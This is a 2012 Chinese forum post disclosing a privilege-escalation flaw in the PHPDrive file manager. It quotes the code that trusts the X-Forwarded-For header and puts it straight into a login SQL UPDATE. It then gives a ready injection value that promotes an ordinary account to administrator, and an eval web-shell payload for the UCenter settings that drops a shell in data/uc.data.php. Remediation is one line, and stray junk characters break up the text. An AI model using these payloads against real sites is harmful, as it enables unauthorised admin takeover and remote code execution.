找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2096|回复: 0
打印 上一主题 下一主题

PHPDrive权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:18:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等* ], C+ B- F* |0 ^8 c
  h, I. i. l' |: z1 {" N& w, W0 x) |
includes/user.lib.php. b  ~9 m9 ]  h$ q, ?
行87
3 K  y# a" l4 f; D7 l2 j function get_ip() {4 q+ |+ e+ O4 `4 J# ?! l2 n* K
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.# y1 w6 k7 O7 {1 }' e
在用户注册与登录 处module/disk/account.lead.php2 e! M: Z5 c- {$ R& X( x
198行 ; j6 \5 G$ l4 v, D
//更新本次登录IP和时间3 }+ s! }! Q' r
             $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生2 x. A/ H* U, D. ^' m; W  W
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限& {* Y7 d* U$ \/ F
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
) V! ~& z, ]7 o: y8 H0 g7 Q后台getshell:
: a/ F) y. j7 p$ S, U在UCenter设置处,将UC数据库登录名填写为. L3 y- w3 k) v" N* M

& z/ ^5 `' U9 D$ N; mroot’);eval($_POST[DisKill]);?>/*
3 D# G+ _* g2 N4 |% G6 F1 V& L' {; H可以得到一个shell,位置在 data/uc.data.php
$ e: u/ L" J6 P# _: Z6 D/ Y$ j% X" b1 q0 n7 T) `- g9 v( u/ j
修复:过滤注入
5 P0 ?) I' m; `% y9 d) s
  X5 k; G4 e% N6 [5 x1 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表